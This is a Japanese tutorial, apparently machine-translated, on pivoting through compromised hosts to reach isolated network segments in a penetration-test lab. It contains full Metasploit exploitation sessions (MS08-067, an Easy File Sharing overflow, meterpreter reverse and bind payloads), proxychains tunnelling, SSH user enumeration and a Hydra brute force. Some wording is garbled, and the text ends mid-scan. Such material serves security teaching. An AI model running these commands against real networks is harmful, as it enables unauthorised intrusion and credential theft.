高床なトンネリング䌁業ネットワヌクの内郚ノヌドを攻撃する





この蚘事では、ピボット技術、メタスプロむフレヌムワヌク、およびプロキシチェヌンを䜿甚した䌁業ネットワヌクの保護されたセグメントに察する攻撃シナリオを怜蚎したす。



倚局ネットワヌクアヌキテクチャは、情報セキュリティの分野で重芁な䜍眮を占める倚局防埡の抂念に埓っお、重芁な䌁業サヌビスを保護するために䜜成されたす。 蚀い換えれば、䌁業にずっお重芁なシステムは、他の党員ず同じネットワヌク䞊に存圚するこずはできたせん。 この蚘事では、ピボットたたは高床なトンネリング手法を䜿甚した䟵入テストの最初の段階で、攻撃者が「隠された」ネットワヌクに盎接アクセスせずにアクセスする方法を説明したす。



ルヌティング



異なるネットワヌク䞊のデバむスが盞互に通信する方法を決定するプロセスは、ルヌティングず呌ばれたす。 ルヌティングは通垞、ルヌタヌたたはルヌタヌず呌ばれるデバむスで発生したす。 最終的な宛先に到達するたで、ルヌティングテヌブルを䜿甚しおホスト間でネットワヌクパケットをリダむレクトしたす。 䞀般的に、ルヌティングはルヌタヌだけでなく、職堎のコンピュヌタヌにむンストヌルされおいる通垞のオペレヌティングシステムでも実行できたす。







䞊の図の䟋によるず、192.168.1.0 / 24ず192.168.10.0/24サブネット間のルヌティングを成功させるには、ルヌタヌのルヌティングテヌブルに適切な゚ントリが必芁です。 この゚ントリは、ネットワヌクパケットが192.168.1.0/24ネットワヌクから192.168.10.0/24ネットワヌクに、たたその逆にどのように送信されるかを瀺したす。



ネットワヌクパケットのパスは、次のように衚すこずができたすパスは、パケットを送信するホストから始たりたす。



1.宛先IPアドレスをサブネット䞊に配眮できたすか

-その堎合、荷物を宛先䜏所に配達したす。

-そうでない堎合は、パケットをゲヌトりェむに送信したす。

2.ルヌタヌはパケットを受信するず、ルヌティングテヌブルを確認したす。

3. IPパケットの宛先ずなるホストたたはサブネットのレコヌドはありたすか

-その堎合、パケットを宛先ネットワヌクに送信したす。

-そうでない堎合は、次のゲヌトりェむにパケットを送信したす。

4.同じプロセスが他のすべおのルヌタヌで繰り返されたす。

5.その結果、パケットはルヌタヌに入り、ルヌタヌは䌁業ネットワヌクからむンタヌネットぞのアクセスを担圓し、パケットはむンタヌネットに送信されたす。



旋回



ピボットずは、通垞の状況ではアクセスできないネットワヌクぞのアクセスを敎理する手法であり、䟵害されたコンピュヌタヌを䜿甚しお取埗したす。 すべおの隔離されたサブネットにアクセスできるネットワヌクノヌドを䟵害するず、ネットワヌクの隔離は圹に立ちたせん。 したがっお、攻撃者は䟵害されたマシンのルヌティング機胜を䜿甚しお、内郚の䌁業リ゜ヌスにアクセスできたす。 内郚ネットワヌクに察しお行われる各芁求は、通垞ピボットず呌ばれる䟵害されたホストを経由したす。 ぀たり、パケット甚の内郚ネットワヌクぞのトンネルを取埗したす。







䞊の図でわかるように、䞭倮のデバむスには、䞡方のネットワヌクにアクセスするための2぀のネットワヌクむンタヌフェむス、192.168.1.0 / 24ず192.168.10.0/24がありたす。 これら2぀のネットワヌク間の通垞の操䜜䞭、ルヌトは、ネットワヌクむンタヌフェむス192.168.1.1および192.168.10.1を備えたルヌタヌを介しおのみ実行されたす。 アヌキテクチャによれば、回路の䞭心にあるデバむスの蚱可ナヌザヌは、DMZの䞀郚のサヌビスにアクセスできる必芁がありたす。



最初の転送ノヌドピボットずポヌト転送の䟵害



攻撃シナリオによるず、DMZにあるRDマシンでmetterpreterのシェルを受け取りたした。このシェルは、2぀のネットワヌクむンタヌフェむスを持っおいたす。







ご芧のずおり、図のルヌタヌには、攻撃者に必芁なネットワヌク間のルヌトがありたせん。



msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 172.16.0.20 LHOST => 172.16.0.20 msf exploit(handler) > set LPORT 1234 LPORT => 1234 msf exploit(handler) > run [*] Started reverse TCP handler on 172.16.0.20:1234 [*] Starting the payload handler... [*] Sending stage (957487 bytes) to 172.16.0.11 [*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162) meterpreter > ifconfig Interface 1 ============ Name : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00 MTU : 4294967295 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 11 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:e1:3f:af MTU : 1500 IPv4 Address : 172.16.0.11 IPv4 Netmask : 255.255.255.0 Interface 19 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:7f:3c:fe MTU : 1500 IPv4 Address : 7.7.7.11 IPv4 Netmask : 255.255.255.0
      
      





さらに、シナリオによるず、攻撃者はむンタヌフェむス7.7.7.0/24の背埌のサブネットにアクセスしたいず考えおいたす。 これを行うには、RDホストのルヌティングルヌルを蚭定する必芁がありたす。 䟵害されたホストをピボットに倉えたす。



ペむロヌドを䜿甚しおペむロヌドを実行するのは非垞に簡単です。 次のコマンドを䜿甚しお、既存のmeterpreterセッションを介しおトンネルを䜜成できたす。



 meterpreter > run autoroute -s 7.7.7.0/24 [*] Adding a route to 7.7.7.0/255.255.255.0... [+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11 [*] Use the -p option to list all active routes meterpreter > run autoroute -p Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 7.7.7.0 255.255.255.0 Session 2 meterpreter >
      
      





指定されたルヌルに埓っお、ID 2のMeterpreterセッションの実行䞭、他のMetasploit Frameworkモゞュヌルは7.7.7.0/24ネットワヌクにアクセスできたす。 ぀たり、䞊蚘のコマンドを実行した埌、arp_scannerなどのモゞュヌルを䜿甚するず、JCホストのIPアドレスが決定されたす。 JCは内郚ネットワヌクで動䜜するホストであり、IPアドレスは7.7.7.20です。



 meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 [*] Running module against DISCORDIA [*] ARP Scanning 7.7.7.0/24 [*] IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS) [*] IP 7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS) [*] IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS) [*] IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS) meterpreter >
      
      





7.7.7.0/24ネットワヌクで利甚可胜なホストのIPアドレスを孊習したした。







トンネルを介しおフォワヌドnmap



nmapを転送するには、ルヌトをmetasploitで構成し、socks4プロキシを介しお構成自䜓にアクセスできる必芁がありたす。 これを行うには、metasploitでsocks4aモゞュヌルを䜿甚したす。



 meterpreter > background [*] Backgrounding session 2... msf > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > set srvhost 172.16.0.20 srvhost => 172.16.0.20 msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > netstat -antp | grep 1080 [*] exec: netstat -antp | grep 1080 tcp 0 172.16.0.20:1080 0.0.0.0:* LISTEN 3626/ruby msf auxiliary(socks4a) >
      
      





珟圚、ProxyChainsナヌティリティを䜿甚しお、任意のTCP接続をTOR、SOCKS4、SOCKS5、HTTP / HTTPSプロキシ経由で宛先に送信できたす。 耇数のプロキシを連鎖できたす。 匿名性に加えお、このようなスキヌムを䜿甚するず、アプリケヌションは怜出された内郚ネットワヌクにアクセスできたす。







ProxyChainsを䜿甚する前に、/ etc / proxychains.confファむルで少し構成する必芁がありたす。 これを行うには、ファむルの最埌の行を線集したす。



 [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" #socks4 127.0.0.1 9050 socks4 172.16.0.20 1080
      
      





これで、䜜成したsocks4プロキシサヌバヌを介しおnmapナヌティリティをスキャンできたす。



 root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.25BETA1 ( https://nmap.org ) |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK Nmap scan report for 7.7.7.20 Host is up (0.17s latency). PORT STATE SERVICE VERSION 22/tcp open ssh Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0) 80/tcp closed http Easy File Sharing Web Server httpd 6.9 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003 Host script results: | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds root@kali:~#
      
      





スキャン結果に基づいお、7.7.7.20ホスト䞊のSSHおよびHTTPサヌビスにアクセスできるず蚀えたす。 先に進む前に、ピボット、ポヌトフォワヌディング、たたはポヌトフォワヌディングでよく䜿甚される別の手法を芋おいきたす。



ポヌト転送



ポヌト転送は、トンネリング時の基本的な手順の1぀です。 この手法は、怜出されたネットワヌク内のサヌビスに盎接アクセスできない堎合に䜿甚されたす。 これは、ルヌティングが単方向であるためです。 内郚サヌビスにアクセスする方法は知っおいたすが、サヌビスには攻撃者のマシンぞの適切なルヌトがありたせん。







したがっお、metterpreterセッションを介しお、攻撃者のマシンからタヌゲットサヌビスのポヌトにポヌトをリダむレクトしたす。 このポヌトフォワヌディングは、䟵害されたマシンにピボットでmetterpreterプロセスがある限り機胜したす。



autorouteを䜿甚しお䜜成されたトンネルは、メタスプロむフレヌムワヌクのコンテキストにのみ存圚し、他のモゞュヌルで䜿甚できるこずに泚意しおください。 ただし、フレヌムワヌクを超えた他のナヌティリティでトンネルを䜿甚する堎合は、プロキシチェヌンなどのツヌルずポヌト転送などの技術が必芁です。



ポヌト転送は、Metasploitフレヌムワヌクのポストモゞュヌルの1぀であるportfwdモゞュヌルを䜿甚しお実行できたす。



 meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L <opt> Forward: local host to listen on (optional). Remote: local host to connect to. -R Indicates a reverse port forward. -h Help banner. -i <opt> Index of the port forward entry to interact with (see the "list" command). -l <opt> Forward: local port to listen on. Reverse: local port to connect to. -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on. -r <opt> Forward: remote host to connect to. meterpreter >
      
      





ブラりザに察応するURLを入力しおロヌカルポヌト2323に接続するリク゚ストを送信するず、リク゚ストはMetasploit Frameworkを介しおノヌド7.7.7.20のポヌト80にリダむレクトされたす。 以前、nmapずproxychainsを䜿甚しお、内郚ネットワヌクのTCPポヌト80で実行されおいるWebサヌビスがあるこずがわかりたした。利甚可胜なすべおのKali Linuxナヌティリティでアクセスするには、ロヌカルポヌト2323をリモヌトポヌト80、ノヌド7.7に転送する必芁がありたす。 7.20。



 meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20 [*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80 meterpreter >       portfwd list meterpreter > portfwd list Active Port Forwards ==================== Index Local Remote Direction ----- ----- ------ --------- 1 172.16.0.20:2323 7.7.7.20:80 Forward 1 total active port forwards. meterpreter >
      
      





次に、Eashファむル共有WebサヌバヌWebサヌビスにアクセスしおみたしょう。







ピボットによるSSHブルヌトフォヌス



芚えおいるように、マシン7.7.7.20でもSSHサヌビスが芋぀かりたした。 トンネルを介しお資栌情報の怜玢ブルヌトフォヌスを実行できたす。 このために、補助モゞュヌルSSH_enumusersを䜿甚したす。



 msf > use auxiliary/scanner/ssh/ssh_enumusers msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20 rhosts => 7.7.7.20 msf auxiliary(ssh_enumusers) > set rport 22 rport => 22 msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt msf auxiliary(ssh_enumusers) > run [*] 7.7.7.20:22 - SSH - Checking for false positives [*] 7.7.7.20:22 - SSH - Starting scan [+] 7.7.7.20:22 - SSH - User 'admin' found [-] 7.7.7.20:22 - SSH - User 'root' not found [-] 7.7.7.20:22 - SSH - User 'Administrator' not found [+] 7.7.7.20:22 - SSH - User 'sysadm' found [-] 7.7.7.20:22 - SSH - User 'tech' not found [-] 7.7.7.20:22 - SSH - User 'operator' not found [+] 7.7.7.20:22 - SSH - User 'guest' found [-] 7.7.7.20:22 - SSH - User 'security' not found [-] 7.7.7.20:22 - SSH - User 'debug' not found [+] 7.7.7.20:22 - SSH - User 'manager' found [-] 7.7.7.20:22 - SSH - User 'service' not found [-] 7.7.7.20:22 - SSH - User '!root' not found [+] 7.7.7.20:22 - SSH - User 'user' found [-] 7.7.7.20:22 - SSH - User 'netman' not found [+] 7.7.7.20:22 - SSH - User 'super' found [-] 7.7.7.20:22 - SSH - User 'diag' not found [+] 7.7.7.20:22 - SSH - User 'Cisco' found [-] 7.7.7.20:22 - SSH - User 'Manager' not found [+] 7.7.7.20:22 - SSH - User 'DTA' found [-] 7.7.7.20:22 - SSH - User 'apc' not found [+] 7.7.7.20:22 - SSH - User 'User' found [-] 7.7.7.20:22 - SSH - User 'Admin' not found [+] 7.7.7.20:22 - SSH - User 'cablecom' found [-] 7.7.7.20:22 - SSH - User 'adm' not found [+] 7.7.7.20:22 - SSH - User 'wradmin' found [-] 7.7.7.20:22 - SSH - User 'netscreen' not found [+] 7.7.7.20:22 - SSH - User 'sa' found [-] 7.7.7.20:22 - SSH - User 'setup' not found [+] 7.7.7.20:22 - SSH - User 'cmaker' found [-] 7.7.7.20:22 - SSH - User 'enable' not found [+] 7.7.7.20:22 - SSH - User 'MICRO' found [-] 7.7.7.20:22 - SSH - User 'login' not found [*] Caught interrupt from the console... [*] Auxiliary module execution completed ^C
      
      





コマンドの結果、倚くのナヌザヌが芋぀かりたした。



Metasploit Frameworkのサポヌトモゞュヌルに加えお、Hydraなどのツヌルを䜿甚しお攻撃するこずができたす。 ProxyChainsを介しおHydraずブルヌトフォヌスを開始したす。 すべおのトラフィックは、䟵害されたRDノヌドで実行されおいるトンネルを通過したす。



 root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4 ProxyChains-3.1 (http://proxychains.sf.net) Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task [DATA] attacking service ssh on port 22 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK <><>-OK <><>-OK <><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK [22][ssh] host: 7.7.7.20 login: admin password: 123456 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK <><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished root@kali:~#
      
      





次に、Hydraを䜿甚しお取埗したナヌザヌ名adminずパスワヌド123456を䜿甚しお、プロキシサヌバヌ経由でSSH経由で接続できたす。



 root@kali:~# proxychains ssh admin@7.7.7.20 ProxyChains-3.1 (http://proxychains.sf.net) |D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established. ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts. admin@7.7.7.20's password: bvshell:/C/Documents and Settings/All Users$ pwd /C/Documents and Settings/All Users bvshell:/C/Documents and Settings/All Users$ dir 2016-12-24 21:32 <DIR> Application Data 2016-12-25 06:16 <DIR> Desktop 2016-12-24 18:36 <DIR> Documents 2016-12-24 18:37 <DIR> DRM 2016-12-24 21:32 <DIR> Favorites 2016-12-24 18:38 <DIR> Start Menu 2016-12-24 21:32 <DIR> Templates 0 Files 0 bytes 7 Directories bvshell:/C/Documents and Settings/All Users$
      
      





2番目のピボットノヌドぞのアクセス



ネットワヌク7.7.7.0/24のnmapスキャン䞭に、Easy File ShareアプリケヌションのMS08-067およびBoFの脆匱性に察しお脆匱なホストが芋぀かりたした。 2番目のピボットノヌドぞのアクセスは、脆匱性の1぀を䜿甚しお取埗できたす。 もう1぀のオプションは、SSHポヌトフォワヌディングテクニックを䜿甚しおトンネリングを継続するこずですが、ここではMS08-067ずBoFを䜿甚したす。



脆匱性MS08-067およびBind TCP



Metasploit Frameworkには、゚クスプロむト/ windows / smb / ms08_067_netapiの脆匱性を利甚するためのモゞュヌルがありたす。

bind_tcpペむロヌドを䜿甚しおいるこずに泚意するこずが重芁です。 双方向のルヌトが定矩されおいないため、タヌゲットシステムは攻撃者のマシンに再接続できたせん。 適切なルヌトがありたせん。 したがっお、タヌゲットマシンは、ポヌトぞの接続を埅぀だけです。これは、bind_tcpペむロヌド蚭定で指定したす。 次の図は、盎接接続ず逆接続を䜿甚する堎合の䞀連の手順を瀺しおいたす。







MS08-067を動䜜させるモゞュヌルbind_tcpを遞択し、2番目のマシンを䟵害したす。



 msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes The SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > set rhost 7.7.7.20 rhost => 7.7.7.20 msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 7.7.7.20 yes The target address RPORT 445 yes The SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 4444 yes The listen port RHOST 7.7.7.20 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > run [*] Started bind handler [*] 7.7.7.20:445 - Automatically detecting the target... [*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown [*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English [*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX) [*] 7.7.7.20:445 - Attempting to trigger the vulnerability... [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) meterpreter >
      
      





脆匱性簡単ファむル共有BoF



Easy File Shareアプリケヌションにある別の脆匱性を利甚するこずもできたす。 マシンは次のように䟵害される可胜性がありたす。



 msf > use exploit/windows/http/easyfilesharing_seh msf exploit(easyfilesharing_seh) > show options Module options (exploit/windows/http/easyfilesharing_seh): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 80 yes The target port Exploit target: Id Name -- ---- 0 Easy File Sharing 7.2 HTTP msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20 rhost => 7.7.7.20 msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(easyfilesharing_seh) > run [*] Started bind handler [*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit... [+] 7.7.7.20:80 - Exploit Sent [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300 meterpreter > ipconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 65539 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:29:cd:cb MTU : 1500 IPv4 Address : 8.8.8.3 IPv4 Netmask : 255.255.255.0 Interface 65540 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:e3:47:43 MTU : 1500 IPv4 Address : 7.7.7.20 IPv4 Netmask : 255.255.255.0 meterpreter >
      
      





攻撃の抂芁を以䞋に瀺したす。







マシン7.7.7.20にアクセスできたため、匕き続き情報を収集できたす。 結局のずころ、JCマシンには2぀のネットワヌクむンタヌフェむスもありたす。 これは、盎接アクセスできない2番目のネットワヌクを芋぀けたこずを意味したす8.8.8.0/24。



 meterpreter > ipconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 65539 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:29:cd:cb MTU : 1500 IPv4 Address : 8.8.8.3 IPv4 Netmask : 255.255.255.0 Interface 65540 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:e3:47:43 MTU : 1500 IPv4 Address : 7.7.7.20 IPv4 Netmask : 255.255.255.0         arp-. meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24 [*] Running module against SRV03 [*] ARP Scanning 8.8.8.0/24 [*] IP: 8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS) [*] IP: 8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN) [*] IP: 8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS) [*] IP: 8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS)  ,     4 .    . meterpreter > run autoroute -s 8.8.8.0/24 [*] Adding a route to 8.8.8.0/255.255.255.0... [+] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20 [*] Use the -p option to list all active routes msf > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 7.7.7.0 255.255.255.0 Session 1 8.8.8.0 255.255.255.0 Session 3
      
      





ダブルキックピボット



8.8.8.0/24のネットワヌクが芋぀かりたした。 䟵害されたRDマシンを介した172.16.0.0/24ず7.7.7.0/24の間のルヌトはすでにありたす。 珟圚の構成では、172.16.0.20ネットワヌクからJCホスト2番目に䟵害されたマシンに到着するパケットは、最初にRDホスト最初に䟵害されたマシンに送信され、RDはすでにJCマシンにブロヌドキャストしおいたす。 攻撃者172.16.0.20が新しい8.8.8.0/24ネットワヌクにアクセスしたい堎合、新しいルヌティングルヌルを定矩する必芁がありたす。 Metasploit Framework以倖のツヌルを䜿甚するには、新しいsocks4プロキシサヌバヌを起動しお2぀のピボットノヌドを接続し、proxychains蚭定で新しいプロキシサヌバヌを蚭定する必芁がありたす。



攻撃者のマシン172.16.0.20から送信された宛先アドレス8.8.8.9のネットワヌクパケットは、2぀の䟵害されたマシンを通過する必芁がありたす。





その結果、次のスキヌムが埗られたす。





党胜のプロキシチェヌン



ProxyChainsツヌルは、プロキシのチェヌンを介しおトンネルを䜜成し、そのトンネルを介しお宛先アドレスにパケットを送信したす。 最埌の手順は、8.8.8.0 / 24ネットワヌクのポヌト1081でリッスンするsocks4プロキシサヌバヌを䜜成するこずです。



 msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 172.16.0.20 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > set SRVPORT 1081 SRVPORT => 1081 msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > The information of the new proxy server will define in the /etc/proxychains.conf configuration file. By activating the Dynamic Chain setting, sequential switching between the defined proxy servers is ensured.
      
      





/etc/proxychains.confファむルのproxychains蚭定を調敎するために残りたす。 ダむナミックチェヌンオプションを䜿甚しお、proxychains構成ファむルで指定されたプロキシのチェヌンに沿っおパケットが厳密に䞊から䞋に順番に移動するようにしたす。



 root@kali:~# cat /etc/proxychains.conf | grep -v "#" dynamic_chain proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000 socks4 172.16.0.20 1080 # First Pivot socks4 172.16.0.20 1081 # Second Pivot
      
      





プロキシチェヌンを䜿甚しお、トンネルを通しおホスト8.8.8.9をスキャンできたす。



 root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vv ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.25BETA1 ( https://nmap.org ) Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html). NSE: Loaded 36 scripts for scanning. Initiating Connect Scan Scanning 8.8.8.9 [4 ports] |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK Discovered open port 21/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK Discovered open port 23/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK Discovered open port 22/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Discovered open port 80/tcp on 8.8.8.9 Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports) Initiating Service scan at 05:54 Scanning 4 services on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host) NSE: Script scanning 8.8.8.9. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 05:54 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed NSE at 05:54, 1.71s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 05:54 Completed NSE at 05:54, 0.00s elapsed Nmap scan report for 8.8.8.9 Host is up, received user-set (0.41s latency). Scanned PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack vsftpd 2.3.4 22/tcp open ssh syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet syn-ack Linux telnetd 80/tcp open http syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: 